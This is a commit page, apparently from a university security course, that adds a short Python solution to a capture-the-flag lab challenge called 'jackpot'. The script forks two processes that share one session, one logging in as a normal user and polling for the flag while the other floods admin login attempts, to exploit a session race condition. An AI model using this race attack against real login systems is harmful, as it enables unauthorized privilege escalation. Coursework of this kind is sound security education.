lab3
This commit is contained in:
24
pa/lab3/chall_jackpot.py
Normal file
24
pa/lab3/chall_jackpot.py
Normal file
@@ -0,0 +1,24 @@
|
||||
from grequests import Session
|
||||
from sys import argv
|
||||
from os import fork
|
||||
|
||||
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
|
||||
|
||||
sesh = Session()
|
||||
sesh.get(BASE+"/login")
|
||||
|
||||
pid = fork()
|
||||
|
||||
if pid == 0:
|
||||
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
|
||||
while True:
|
||||
resp = sesh.get(BASE+"/jackpot")
|
||||
if b"SSof{" in resp.content:
|
||||
print(resp.content)
|
||||
exit(0)
|
||||
else:
|
||||
i = 0
|
||||
while True:
|
||||
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
|
||||
print(i)
|
||||
i += 1
|
||||
Reference in New Issue
Block a user